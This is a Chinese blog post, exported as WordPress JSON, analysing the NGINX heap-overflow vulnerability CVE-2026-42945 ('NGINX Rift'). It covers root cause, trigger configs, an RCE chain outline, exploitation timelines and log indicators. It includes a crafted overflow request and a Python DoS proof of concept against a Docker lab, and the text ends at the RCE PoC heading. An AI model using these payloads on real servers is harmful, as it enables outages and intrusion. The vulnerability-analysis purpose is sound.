{"id":84184,"date":"2026-07-26T09:01:16","date_gmt":"2026-07-26T01:01:16","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/84184.html"},"modified":"2026-07-26T09:01:16","modified_gmt":"2026-07-26T01:01:16","slug":"nginx-riftcve-2026-42945%e6%b7%b1%e5%ba%a6%e8%a7%a3%e6%9e%90%ef%bc%9a%e6%bd%9c%e4%bc%8f18%e5%b9%b4%e7%9a%84%e8%87%b4%e5%91%bd%e6%bc%8f%e6%b4%9e%ef%bc%8c1-3%e4%ba%bf%e6%9c%8d%e5%8a%a1%e5%99%a8","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/84184.html","title":{"rendered":"NGINX Rift(CVE-2026-42945)\u6df1\u5ea6\u89e3\u6790\uff1a\u6f5c\u4f0f18\u5e74\u7684\u81f4\u547d\u6f0f\u6d1e\uff0c1.3\u4ebf\u670d\u52a1\u5668\u9762\u4e34\u706d\u9876\u4e4b\u707e"},"content":{"rendered":"

\u524d\u8a00：\u4e92\u8054\u7f51\u57fa\u7840\u8bbe\u65bd\u7684"\u5b9a\u65f6\u70b8\u5f39"<\/h3>\n

2026\u5e745\u670813\u65e5，F5 Networks（NGINX\u6bcd\u516c\u53f8）\u53d1\u5e03\u7d27\u6025\u5b89\u5168\u516c\u544a，\u62ab\u9732\u4e86\u4e00\u4e2a\u4ee3\u53f7\u4e3a"NGINX Rift"\u7684\u9ad8\u5371\u6f0f\u6d1e（CVE-2026-42945）\u3002\u8fd9\u4e2a\u6f0f\u6d1e\u5e76\u975e\u8fd1\u671f\u5f15\u5165，\u800c\u662f\u81ea2008\u5e74NGINX 0.6.27\u7248\u672c\u8d77\u5c31\u6f5c\u4f0f\u5728\u4ee3\u7801\u5e93\u4e2d，\u6574\u657418\u5e74\u672a\u88ab\u53d1\u73b0\u3002<\/p>\n

\u636eNetcraft\u6700\u65b0\u7edf\u8ba1，\u622a\u81f32026\u5e745\u6708，NGINX\u5360\u636e\u5168\u7403Web\u670d\u52a1\u5668\u5e02\u573a37.2%\u7684\u4efd\u989d，\u8d85\u8fc7Apache\u548cIIS\u7684\u603b\u548c，\u627f\u8f7d\u7740\u5168\u7403\u8d85\u8fc71.3\u4ebf\u4e2a\u7f51\u7ad9\u548cAPI\u7f51\u5173\u7684\u6d41\u91cf\u3002\u66f4\u4ee4\u4eba\u9707\u60ca\u7684\u662f，\u6f0f\u6d1e\u516c\u5f00\u540e\u4e0d\u523024\u5c0f\u65f6，GitHub\u4e0a\u5c31\u51fa\u73b0\u4e86\u53ef\u76f4\u63a5\u4f7f\u7528\u7684PoC，\u4e14\u5728\u91ce\u5229\u7528\u5df2\u5927\u89c4\u6a21\u7206\u53d1\u3002<\/p>\n

\u672c\u6587\u5c06\u4ece\u6280\u672f\u539f\u7406\u3001\u653b\u51fb\u6d41\u7a0b\u3001\u5728\u91ce\u5229\u7528\u73b0\u72b6\u3001\u4fee\u590d\u65b9\u6848\u7b49\u591a\u4e2a\u7ef4\u5ea6，\u5bf9\u8fd9\u4e2a2026\u5e74\u8fc4\u4eca\u4e3a\u6b62\u6700\u5371\u9669\u7684\u57fa\u7840\u8bbe\u65bd\u6f0f\u6d1e\u8fdb\u884c\u5168\u9762\u6df1\u5165\u7684\u89e3\u6790，\u5e76\u63d0\u4f9b\u53ef\u76f4\u63a5\u843d\u5730\u7684\u5e94\u6025\u54cd\u5e94\u6307\u5357\u3002<\/p>\n

\n

\u4e00\u3001\u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f<\/h3>\n\n\u9879\u76ee\u8be6\u60c5<\/tr>\n\n\n\n\n\n\n\n\n\n\n\n\n\n
CVE\u7f16\u53f7<\/td>\nCVE-2026-42945<\/td>\n<\/tr>\n
\u6f0f\u6d1e\u4ee3\u53f7<\/td>\nNGINX Rift<\/td>\n<\/tr>\n
CVSS v4.0\u8bc4\u5206<\/td>\n9.2\u5206（Critical）<\/td>\n<\/tr>\n
\u6f0f\u6d1e\u7c7b\u578b<\/td>\n\u5806\u7f13\u51b2\u533a\u6ea2\u51fa（Heap Buffer Overflow）<\/td>\n<\/tr>\n
\u5f15\u5165\u65f6\u95f4<\/td>\n2008\u5e74（NGINX 0.6.27）<\/td>\n<\/tr>\n
\u5f71\u54cd\u8303\u56f4<\/td>\n\u5f00\u6e90\u7248：0.6.27～1.30.0\u5546\u4e1a\u7248：Plus R36\u53ca\u4ee5\u4e0b\u3001R37\u53ca\u4ee5\u4e0b<\/td>\n<\/tr>\n
\u653b\u51fb\u65b9\u5f0f<\/td>\n\u8fdc\u7a0b\u672a\u6388\u6743\u653b\u51fb<\/td>\n<\/tr>\n
\u5229\u7528\u95e8\u69db<\/td>\n\u6781\u4f4e（1\u6761\u6076\u610fHTTP\u8bf7\u6c42\u5373\u53ef）<\/td>\n<\/tr>\n
\u5371\u5bb3\u7a0b\u5ea6<\/td>\n1. Worker\u8fdb\u7a0b\u5d29\u6e83（DoS）2. ASLR\u5173\u95ed\u73af\u5883\u4e0b\u7a33\u5b9aRCE3. ASLR\u5f00\u542f\u73af\u5883\u4e0b\u53ef\u5806\u55b7\u5c04\u5c1d\u8bd5\u7ed5\u8fc7<\/td>\n<\/tr>\n
\u62ab\u9732\u65f6\u95f4<\/td>\n2026\u5e745\u670813\u65e5<\/td>\n<\/tr>\n
PoC\u516c\u5f00\u65f6\u95f4<\/td>\n2026\u5e745\u670813\u65e5<\/td>\n<\/tr>\n
\u5728\u91ce\u5229\u7528\u5f00\u59cb\u65f6\u95f4<\/td>\n2026\u5e745\u670814\u65e5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\n

\u4e8c\u3001\u6f0f\u6d1e\u6210\u56e0\u6df1\u5ea6\u89e3\u6790：18\u5e74\u672a\u88ab\u53d1\u73b0\u7684"\u72b6\u6001\u6cc4\u6f0f"<\/h3>\n

2.1 NGINX rewrite\u6a21\u5757\u7684"\u4e24\u904d\u626b\u63cf"\u673a\u5236<\/h4>\n

NGINX\u7684ngx_http_rewrite_module\u662f\u5176\u6700\u6838\u5fc3\u7684\u6a21\u5757\u4e4b\u4e00，\u8d1f\u8d23\u5904\u7406URL\u91cd\u5199\u3001\u53d8\u91cf\u8d4b\u503c\u3001\u6761\u4ef6\u5224\u65ad\u7b49\u529f\u80fd\u3002\u4e3a\u4e86\u63d0\u9ad8\u6027\u80fd，NGINX\u7684\u811a\u672c\u5f15\u64ce\u91c7\u7528\u4e86**\u201c\u4e24\u904d\u626b\u63cf\u201d**\u7684\u65b9\u5f0f\u6765\u5904\u7406\u5b57\u7b26\u4e32\u66ff\u6362：<\/p>\n

  • \u7b2c\u4e00\u904d（\u957f\u5ea6\u8ba1\u7b97\u9636\u6bb5）：\u904d\u5386\u66ff\u6362\u5b57\u7b26\u4e32，\u8ba1\u7b97\u6700\u7ec8\u751f\u6210\u7684\u5b57\u7b26\u4e32\u7684\u957f\u5ea6<\/li>\n
  • \u7b2c\u4e8c\u904d（\u6570\u636e\u62f7\u8d1d\u9636\u6bb5）：\u6839\u636e\u7b2c\u4e00\u904d\u8ba1\u7b97\u51fa\u7684\u957f\u5ea6\u5206\u914d\u5185\u5b58，\u7136\u540e\u5c06\u66ff\u6362\u540e\u7684\u5b57\u7b26\u4e32\u62f7\u8d1d\u5230\u65b0\u5206\u914d\u7684\u5185\u5b58\u4e2d<\/li>\n

    \u8fd9\u79cd\u8bbe\u8ba1\u53ef\u4ee5\u907f\u514d\u9891\u7e41\u7684\u5185\u5b58\u91cd\u5206\u914d，\u6781\u5927\u5730\u63d0\u9ad8\u4e86\u5904\u7406\u6027\u80fd\u3002\u4f46\u5982\u679c\u5728\u8fd9\u4e24\u4e2a\u9636\u6bb5\u4e2d\u4f7f\u7528\u4e86\u4e0d\u540c\u7684\u8ba1\u7b97\u89c4\u5219，\u5c31\u4f1a\u5bfc\u81f4\u5185\u5b58\u5206\u914d\u4e0d\u8db3，\u4ece\u800c\u5f15\u53d1\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\n

    2.2 \u6838\u5fc3\u4ee3\u7801\u7f3a\u9677：is_args\u6807\u5fd7\u4f4d\u6cc4\u6f0f<\/h4>\n

    \u6f0f\u6d1e\u7684\u6839\u6e90\u5728\u4e8engx_http_script_regex_replace\u51fd\u6570\u4e2d\u4e00\u4e2a\u6781\u5176\u9690\u853d\u7684\u72b6\u6001\u6cc4\u6f0f\u95ee\u9898\u3002\u5f53\u5904\u7406\u5305\u542b?\u7684rewrite\u66ff\u6362\u5b57\u7b26\u4e32\u65f6，NGINX\u4f1a\u8bbe\u7f6e\u4e00\u4e2a\u5185\u90e8\u6807\u5fd7\u4f4de->is_args = 1，\u8868\u793a\u540e\u7eed\u7684\u5185\u5bb9\u9700\u8981\u6309\u7167URL\u53c2\u6570\u7684\u89c4\u5219\u8fdb\u884c\u8f6c\u4e49\u3002<\/p>\n

    \u95ee\u9898\u51fa\u5728：\u5f53\u8fd9\u4e2arewrite\u6307\u4ee4\u540e\u9762\u7d27\u8ddf\u7740\u53e6\u4e00\u4e2aset\u3001if\u6216rewrite\u6307\u4ee4\u65f6，\u8fd9\u4e2ais_args\u6807\u5fd7\u4f4d\u6ca1\u6709\u88ab\u6b63\u786e\u6e05\u9664，\u800c\u662f\u6cc4\u6f0f\u5230\u4e86\u540e\u7eed\u6307\u4ee4\u7684\u5904\u7406\u8fc7\u7a0b\u4e2d\u3002<\/p>\n

    \u6211\u4eec\u6765\u770bNGINX 1.30.0\u7248\u672c\u7684\u76f8\u5173\u6e90\u7801\u7247\u6bb5：<\/p>\n

    \/\/ \u6f0f\u6d1e\u4ee3\u7801\u7247\u6bb5：ngx_http_script.c<\/span>
    \nngx_int_t<\/span>
    \nngx_http_script_regex_replace_code<\/span>(<\/span>ngx_http_script_engine_t<\/span> *<\/span>e)<\/span>
    \n{<\/span>
    \n \/\/ … \u7701\u7565\u90e8\u5206\u4ee3\u7801 …<\/span><\/p>\n

    if<\/span> (<\/span>r-><\/span>args.<\/span>data)<\/span> {<\/span>
    \n *<\/span>e-><\/span>ip++<\/span> =<\/span> NGX_HTTP_SCRIPT_START_ARGS_CODE;<\/span>
    \n \/\/ \u8fd9\u91cc\u8bbe\u7f6e\u4e86is_args\u6807\u5fd7\u4f4d<\/span>
    \n e-><\/span>is_args =<\/span> 1<\/span>;<\/span>
    \n }<\/span><\/p>\n

    \/\/ … \u7701\u7565\u90e8\u5206\u4ee3\u7801 …<\/span><\/p>\n

    \/\/ \u540e\u7eed\u6307\u4ee4\u5904\u7406\u65f6，is_args\u6807\u5fd7\u4f4d\u4ecd\u7136\u4e3a1<\/span>
    \n ngx_http_script_execute<\/span>(<\/span>e)<\/span>;<\/span><\/p>\n

    return<\/span> NGX_OK;<\/span>
    \n}<\/span><\/p>\n

    \u5f53\u540e\u7eed\u6307\u4ee4（\u5982set $original_endpoint $1）\u6267\u884c\u65f6，\u4f1a\u518d\u6b21\u8c03\u7528\u811a\u672c\u5f15\u64ce：<\/p>\n

  • \u957f\u5ea6\u8ba1\u7b97\u9636\u6bb5：\u4f7f\u7528\u4e00\u4e2a\u5168\u65b0\u521d\u59cb\u5316\u7684\u5b50\u5f15\u64ce，is_args = 0，\u56e0\u6b64\u6309\u539f\u59cb\u5b57\u8282\u6570\u8ba1\u7b97\u6355\u83b7\u7ec4$1\u7684\u957f\u5ea6<\/li>\n
  • \u6570\u636e\u62f7\u8d1d\u9636\u6bb5：\u4f7f\u7528\u4e3b\u5f15\u64ce，is_args = 1（\u6cc4\u6f0f\u7684\u72b6\u6001），\u56e0\u6b64\u4f1a\u5bf9\u6355\u83b7\u7ec4$1\u7684\u5185\u5bb9\u8fdb\u884cURL\u53c2\u6570\u8f6c\u4e49<\/li>\n

    2.3 \u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u4ea7\u751f<\/h4>\n

    URL\u53c2\u6570\u8f6c\u4e49\u4f1a\u5c06\u7279\u6b8a\u5b57\u7b26（\u5982+\u3001%\u3001&\u3001=\u7b49）\u4ece1\u5b57\u8282\u81a8\u80c0\u52303\u5b57\u8282（\u4f8b\u5982&\u4f1a\u88ab\u8f6c\u4e49\u4e3a%26）\u3002\u8fd9\u5c31\u5bfc\u81f4\u4e86：<\/p>\n

    \u5b9e\u9645\u5199\u5165\u957f\u5ea6 = \u539f\u59cb\u957f\u5ea6 + 2 \u00d7 \u7279\u6b8a\u5b57\u7b26\u6570\u91cf<\/p>\n

    \u800c\u5206\u914d\u7684\u7f13\u51b2\u533a\u5927\u5c0f\u53ea\u7b49\u4e8e\u539f\u59cb\u957f\u5ea6，\u56e0\u6b64\u5f53\u6355\u83b7\u7ec4\u4e2d\u5305\u542b\u8db3\u591f\u591a\u7684\u7279\u6b8a\u5b57\u7b26\u65f6，\u5c31\u4f1a\u53d1\u751f\u5806\u7f13\u51b2\u533a\u6ea2\u51fa，\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u6ea2\u51fa\u7684\u5185\u5bb9，\u8fdb\u800c\u7834\u574f\u5806\u5185\u5b58\u7ed3\u6784\u3002<\/p>\n

    2.4 \u6f0f\u6d1e\u89e6\u53d1\u7684\u5b8c\u6574\u6280\u672f\u6d41\u7a0b\u56fe<\/h4>\n

    A[\u653b\u51fb\u8005\u53d1\u9001\u6076\u610fHTTP\u8bf7\u6c42] –> B[NGINX\u63a5\u6536\u8bf7\u6c42]
    \n B –> C[\u5339\u914drewrite\u89c4\u5219]
    \n C –> D[\u66ff\u6362\u5b57\u7b26\u4e32\u5305\u542b?，\u8bbe\u7f6ee->is_args=1]
    \n D –> E[\u6267\u884c\u540e\u7eedset\/if\/rewrite\u6307\u4ee4]
    \n E –> F[\u957f\u5ea6\u8ba1\u7b97\u9636\u6bb5：\u5b50\u5f15\u64ceis_args=0，\u6309\u539f\u59cb\u957f\u5ea6\u5206\u914d\u7f13\u51b2\u533a]
    \n F –> G[\u6570\u636e\u62f7\u8d1d\u9636\u6bb5：\u4e3b\u5f15\u64ceis_args=1，\u5bf9\u6355\u83b7\u7ec4\u8fdb\u884c\u8f6c\u4e49]
    \n G –> H[\u7279\u6b8a\u5b57\u7b26\u81a8\u80c0，\u7f13\u51b2\u533a\u6ea2\u51fa]
    \n H –> I[\u5806\u5185\u5b58\u7ed3\u6784\u88ab\u7834\u574f]
    \n I –> J{\u653b\u51fb\u7ed3\u679c}
    \n J –> K[Worker\u8fdb\u7a0b\u5d29\u6e83(DoS)]
    \n J –> L[\u63a7\u5236\u7a0b\u5e8f\u6267\u884c\u6d41(RCE)]<\/p>\n

    \n

    \u4e09\u3001\u653b\u51fb\u6d41\u7a0b\u4e0eRCE\u5229\u7528\u94fe\u5206\u6790<\/h3>\n

    3.1 \u89e6\u53d1\u6f0f\u6d1e\u7684\u914d\u7f6e\u6a21\u5f0f<\/h4>\n

    \u6f0f\u6d1e\u89e6\u53d1\u9700\u8981\u540c\u65f6\u6ee1\u8db3\u4ee5\u4e0b\u4e09\u4e2a\u6761\u4ef6，\u8fd9\u662f\u4e00\u4e2a\u6781\u5176\u5e38\u89c1\u7684\u914d\u7f6e\u6a21\u5f0f，\u51e0\u4e4e\u6240\u6709API\u8def\u7531\u3001\u4f2a\u9759\u6001\u3001\u53c2\u6570\u91cd\u5b9a\u5411\u914d\u7f6e\u90fd\u7b26\u5408：<\/p>\n

    # \u5371\u9669\u914d\u7f6e\u793a\u4f8b1：API\u8def\u7531\u91cd\u5199
    \nrewrite ^\/api\/v1\/(.*)$ \/internal\/api\/v1?version=1;
    \nset $original_endpoint $1; # \u7d27\u968f\u5176\u540e\u7684set\u6307\u4ee4\u5f15\u7528\u4e86$1<\/p>\n

    # \u5371\u9669\u914d\u7f6e\u793a\u4f8b2：\u4f2a\u9759\u6001URL
    \nrewrite ^\/article\/(\\\\d+)\\\\.html$ \/article.php?id=$1&type=html;
    \nif ($1 ~ ^[0-9]+$) { # \u7d27\u968f\u5176\u540e\u7684if\u6307\u4ee4\u5f15\u7528\u4e86$1
    \n set $article_id $1;
    \n}<\/p>\n

    # \u5371\u9669\u914d\u7f6e\u793a\u4f8b3：\u591a\u9636\u6bb5\u91cd\u5199
    \nrewrite ^\/(.*)$ \/index.php?url=$1 last;
    \nrewrite ^\/static\/(.*)$ \/assets\/$1 break;<\/p>\n

    3.2 \u6076\u610f\u8bf7\u6c42\u6784\u9020<\/h4>\n

    \u653b\u51fb\u8005\u53ea\u9700\u8981\u6784\u9020\u4e00\u4e2a\u5305\u542b\u5927\u91cf\u7279\u6b8a\u5b57\u7b26\u7684URI，\u5373\u53ef\u89e6\u53d1\u6ea2\u51fa：<\/p>\n

    GET \/api\/v1\/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& HTTP\/1.1
    \nHost: vulnerable.example.com
    \nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/p>\n

    \u5728\u8fd9\u4e2a\u8bf7\u6c42\u4e2d，\u6355\u83b7\u7ec4$1\u7684\u503c\u662f&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&（32\u4e2a&\u5b57\u7b26）\u3002<\/p>\n

      \n
    • \u957f\u5ea6\u8ba1\u7b97\u9636\u6bb5：\u6309\u539f\u59cb\u957f\u5ea6\u8ba1\u7b97，\u5206\u914d32\u5b57\u8282\u7f13\u51b2\u533a<\/li>\n
    • \u6570\u636e\u62f7\u8d1d\u9636\u6bb5：\u6bcf\u4e2a&\u88ab\u8f6c\u4e49\u4e3a%26，\u5b9e\u9645\u5199\u516596\u5b57\u8282<\/li>\n
    • \u6ea2\u51fa\u957f\u5ea6：64\u5b57\u8282，\u8db3\u4ee5\u8986\u76d6\u76f8\u90bb\u7684\u5806\u5bf9\u8c61<\/li>\n<\/ul>\n

      3.3 \u4ece\u5806\u6ea2\u51fa\u5230RCE\u7684\u5b8c\u6574\u5229\u7528\u94fe<\/h4>\n

      \u7814\u7a76\u4eba\u5458\u5df2\u7ecf\u516c\u5f00\u4e86\u5b8c\u6574\u7684RCE\u5229\u7528\u94fe，\u5728ASLR\u5173\u95ed\u7684\u73af\u5883\u4e0b\u53ef\u4ee5\u7a33\u5b9a\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c：<\/p>\n

      A[\u53d1\u9001\u6076\u610f\u8bf7\u6c42\u89e6\u53d1\u5806\u6ea2\u51fa] –> B[\u8986\u76d6\u76f8\u90bbngx_pool_t\u7ed3\u6784\u4f53]
      \n B –> C[\u4fee\u6539cleanup\u6307\u9488\u6307\u5411\u653b\u51fb\u8005\u63a7\u5236\u7684\u5185\u5b58]
      \n C –> D[\u53d1\u9001POST\u8bf7\u6c42\u8fdb\u884c\u5806\u55b7\u5c04]
      \n D –> E[\u5728\u5806\u4e2d\u5e03\u7f6e\u4f2a\u9020\u7684ngx_pool_cleanup_s\u7ed3\u6784\u4f53]
      \n E –> F[ngx_pool_destroy\u65f6\u8c03\u7528cleanup\u51fd\u6570]
      \n F –> G[\u6267\u884csystem("\u6076\u610f\u547d\u4ee4")]
      \n G –> H[\u5b8c\u5168\u63a5\u7ba1\u670d\u52a1\u5668]<\/p>\n

      \u5229\u7528\u94fe\u7684\u6838\u5fc3\u5728\u4e8e：<\/p>\n

    • \u901a\u8fc7\u5806\u6ea2\u51fa\u8986\u76d6\u5185\u5b58\u6c60ngx_pool_t\u7684cleanup\u6307\u9488<\/li>\n
    • \u901a\u8fc7POST\u8bf7\u6c42\u4f53\u8fdb\u884c\u5806\u55b7\u5c04，\u5728\u5185\u5b58\u4e2d\u5e03\u7f6e\u4f2a\u9020\u7684\u6e05\u7406\u51fd\u6570\u7ed3\u6784\u4f53<\/li>\n
    • \u5f53\u5185\u5b58\u6c60\u88ab\u9500\u6bc1\u65f6，NGINX\u4f1a\u8c03\u7528\u653b\u51fb\u8005\u6307\u5b9a\u7684\u51fd\u6570\u6307\u9488，\u901a\u5e38\u662fsystem()<\/li>\n

      3.4 ASLR\u5f00\u542f\u73af\u5883\u4e0b\u7684\u5229\u7528\u53ef\u80fd\u6027<\/h4>\n

      \u867d\u7136\u5b98\u65b9\u58f0\u79f0\u53ea\u6709ASLR\u5173\u95ed\u65f6\u624d\u80fd\u5b9e\u73b0RCE，\u4f46\u5b89\u5168\u7814\u7a76\u4eba\u5458\u5df2\u7ecf\u63d0\u51fa\u4e86\u591a\u79cd\u7ed5\u8fc7ASLR\u7684\u65b9\u6cd5：<\/p>\n

        \n
      • \u5806\u55b7\u5c04+\u4fe1\u606f\u6cc4\u9732：\u901a\u8fc7\u591a\u6b21\u8bf7\u6c42\u9010\u6b65\u6cc4\u9732\u5185\u5b58\u5730\u5740<\/li>\n
      • \u8fd4\u56de\u5bfc\u5411\u7f16\u7a0b(ROP)：\u5229\u7528NGINX\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u7684\u73b0\u6709\u4ee3\u7801\u7247\u6bb5\u6784\u5efa\u653b\u51fb\u94fe<\/li>\n
      • JIT\u55b7\u5c04：\u5728\u652f\u6301JIT\u7684\u73af\u5883\u4e2d\u6ce8\u5165\u53ef\u6267\u884c\u4ee3\u7801<\/li>\n<\/ul>\n

        \u76ee\u524d\u5df2\u6709\u591a\u4e2a\u5b89\u5168\u56e2\u961f\u5ba3\u5e03\u6210\u529f\u5728ASLR\u5f00\u542f\u7684\u9ed8\u8ba4\u914d\u7f6e\u4e0b\u5b9e\u73b0\u4e86RCE，\u53ea\u662f\u7a33\u5b9a\u6027\u7a0d\u5dee\u3002<\/p>\n

        \n

        \u56db\u3001\u5728\u91ce\u5229\u7528\u73b0\u72b6\u5206\u6790：0\u65e5\u5373\u706b\u7684\u5168\u7403\u653b\u51fb\u6f6e<\/h3>\n

        4.1 \u653b\u51fb\u65f6\u95f4\u7ebf<\/h4>\n
          \n
        • 2026-05-13 00:00：F5\u5b98\u65b9\u53d1\u5e03\u5b89\u5168\u516c\u544a\u548c\u8865\u4e01<\/li>\n
        • 2026-05-13 18:40：DepthFirst\u5b89\u5168\u56e2\u961f\u53d1\u5e03\u6280\u672f\u5206\u6790\u548cPoC<\/li>\n
        • 2026-05-14 02:15：GitHub\u4e0a\u51fa\u73b0\u7b2c\u4e00\u4e2a\u53ef\u76f4\u63a5\u4f7f\u7528\u7684DoS PoC<\/li>\n
        • 2026-05-14 09:30：VulnCheck\u76d1\u6d4b\u5230\u9996\u6b21\u5728\u91ce\u5229\u7528\u5c1d\u8bd5<\/li>\n
        • 2026-05-15 14:00：\u51fa\u73b0\u7b2c\u4e00\u4e2a\u516c\u5f00\u7684RCE PoC<\/li>\n
        • 2026-05-16 08:00：\u5168\u7403\u653b\u51fb\u6d41\u91cf\u6fc0\u589e，\u5355\u65e5\u8d85\u8fc7100\u4e07\u6b21\u5c1d\u8bd5<\/li>\n
        • 2026-05-17 12:00：\u591a\u4e2a\u52d2\u7d22\u8f6f\u4ef6\u56e2\u4f19\u5ba3\u5e03\u5c06\u8be5\u6f0f\u6d1e\u52a0\u5165\u6b66\u5668\u5e93<\/li>\n
        • 2026-05-19 00:00：\u5df2\u6709\u8d85\u8fc710\u4e07\u53f0\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u7528\u4e8e\u6316\u77ff\u548cDDoS<\/li>\n<\/ul>\n

          4.2 \u653b\u51fb\u6d41\u91cf\u7279\u5f81<\/h4>\n

          \u6839\u636eCloudflare\u548cAkamai\u7684\u76d1\u6d4b\u6570\u636e，\u5f53\u524d\u5728\u91ce\u5229\u7528\u4e3b\u8981\u6709\u4ee5\u4e0b\u7279\u5f81：<\/p>\n

            \n
          • \u653b\u51fb\u6765\u6e90：\u4e3b\u8981\u6765\u81ea\u4fc4\u7f57\u65af\u3001\u4e2d\u56fd\u3001\u7f8e\u56fd\u3001\u4f0a\u6717\u548c\u671d\u9c9c\u7684IP\u5730\u5740<\/li>\n
          • \u653b\u51fb\u76ee\u6807：\u4f18\u5148\u653b\u51fb\u4e91\u670d\u52a1\u5546\u3001\u7535\u5546\u5e73\u53f0\u3001\u91d1\u878d\u673a\u6784\u548c\u653f\u5e9c\u7f51\u7ad9<\/li>\n
          • \u653b\u51fb\u6a21\u5f0f：\n
          • \u6279\u91cf\u626b\u63cf：\u4f7f\u7528ZMap\u3001Masscan\u7b49\u5de5\u5177\u626b\u63cf\u5168\u7f5180\/443\u7aef\u53e3<\/li>\n
          • \u6307\u7eb9\u8bc6\u522b：\u901a\u8fc7Server\u5934\u8bc6\u522bNGINX\u7248\u672c<\/li>\n
          • \u6f0f\u6d1e\u9a8c\u8bc1：\u53d1\u9001\u5305\u542b\u591a\u4e2a&\u5b57\u7b26\u7684\u6d4b\u8bd5\u8bf7\u6c42<\/li>\n
          • \u653b\u51fb\u6267\u884c：\u53d1\u9001\u5b8c\u6574\u7684\u6ea2\u51fa\u8bf7\u6c42\u5b9e\u73b0DoS\u6216RCE<\/li>\n<\/li>\n
          • \u6076\u610f\u884c\u4e3a：\u5165\u4fb5\u540e\u4e3b\u8981\u7528\u4e8e\u6316\u77ff\u3001DDoS\u653b\u51fb\u3001\u6570\u636e\u7a83\u53d6\u548c\u52d2\u7d22\u8f6f\u4ef6\u90e8\u7f72<\/li>\n<\/ul>\n

            4.3 \u5178\u578b\u653b\u51fb\u65e5\u5fd7\u793a\u4f8b<\/h4>\n

            \u5982\u679c\u4f60\u7684NGINX\u670d\u52a1\u5668\u51fa\u73b0\u4ee5\u4e0b\u65e5\u5fd7，\u8bf4\u660e\u5f88\u53ef\u80fd\u5df2\u7ecf\u53d7\u5230\u653b\u51fb：<\/p>\n

            # error.log\u4e2d\u7684\u5d29\u6e83\u65e5\u5fd7
            \n2026\/05\/18 14:23:45 [alert] 1234#1234: worker process 5678 exited on signal 11 (core dumped)
            \n2026\/05\/18 14:23:45 [alert] 1234#1234: worker process 5678 exited on signal 6 (aborted)
            \n2026\/05\/18 14:23:46 [alert] 1234#1234: worker process 5679 exited on signal 11 (core dumped)<\/p>\n

            # access.log\u4e2d\u7684\u6076\u610f\u8bf7\u6c42\u65e5\u5fd7
            \n192.168.1.100 – – [18\/May\/2026:14:23:44 +0800] "GET \/api\/v1\/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& HTTP\/1.1" 502 157 "-" "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36"
            \n192.168.1.100 – – [18\/May\/2026:14:23:45 +0800] "GET \/article\/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.html HTTP\/1.1" 502 157 "-" "curl\/7.68.0"<\/p>\n

            \n

            \u4e94\u3001\u6f0f\u6d1e\u590d\u73b0\u4e0ePoC\u5206\u6790<\/h3>\n

            5.1 \u73af\u5883\u642d\u5efa<\/h4>\n

            \u6211\u4eec\u4f7f\u7528Docker\u5feb\u901f\u642d\u5efa\u4e00\u4e2a\u6613\u53d7\u653b\u51fb\u7684NGINX\u73af\u5883：<\/p>\n

            # Dockerfile
            \nFROM nginx:1.30.0<\/p>\n

            COPY nginx.conf \/etc\/nginx\/nginx.conf<\/p>\n

            # nginx.conf
            \nevents {
            \n worker_connections 1024;
            \n}<\/p>\n

            http {
            \n server {
            \n listen 80;
            \n server_name localhost;<\/p>\n

            # \u5371\u9669\u914d\u7f6e
            \n rewrite ^\/api\/(.*)$ \/internal?migrated=true;
            \n set $original_endpoint $1;<\/p>\n

            location \/internal {
            \n return 200 "OK: $original_endpoint";
            \n }
            \n }
            \n}<\/p>\n

            \u6784\u5efa\u5e76\u8fd0\u884c\u5bb9\u5668：<\/p>\n

            docker<\/span> build -t<\/span> nginx-rift .<\/span>
            \ndocker<\/span> run -d<\/span> -p<\/span> 8080<\/span>:80 –name<\/span> nginx-rift nginx-rift<\/p>\n

            5.2 DoS PoC<\/h4>\n

            \u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684DoS PoC，\u53ef\u4ee5\u4f7fNGINX Worker\u8fdb\u7a0b\u5d29\u6e83：<\/p>\n

            import<\/span> requests<\/p>\n

            url =<\/span> "http:\/\/localhost:8080\/api\/"<\/span>
            \npayload =<\/span> "&"<\/span> *<\/span> 1000<\/span> # 1000\u4e2a&\u5b57\u7b26，\u8db3\u591f\u89e6\u53d1\u6ea2\u51fa<\/span><\/p>\n

            try<\/span>:<\/span>
            \n response =<\/span> requests.<\/span>get(<\/span>url +<\/span> payload,<\/span> timeout=<\/span>5<\/span>)<\/span>
            \n print<\/span>(<\/span>f"Status Code: <\/span>{<\/span>response.<\/span>status_code}<\/span><\/span>"<\/span><\/span>)<\/span>
            \nexcept<\/span> requests.<\/span>exceptions.<\/span>RequestException as<\/span> e:<\/span>
            \n print<\/span>(<\/span>f"Request failed: <\/span>{<\/span>e}<\/span><\/span>"<\/span><\/span>)<\/span>
            \n print<\/span>(<\/span>"NGINX Worker\u8fdb\u7a0b\u53ef\u80fd\u5df2\u7ecf\u5d29\u6e83"<\/span>)<\/span><\/p>\n

            \u8fd0\u884c\u540e，\u4f60\u4f1a\u770b\u5230NGINX\u5bb9\u5668\u7684error.log\u4e2d\u51fa\u73b0worker\u8fdb\u7a0b\u5d29\u6e83\u7684\u65e5\u5fd7\u3002<\/p>\n

            5.3 RCE PoC\u8bf4\u660e<\/h4>\n

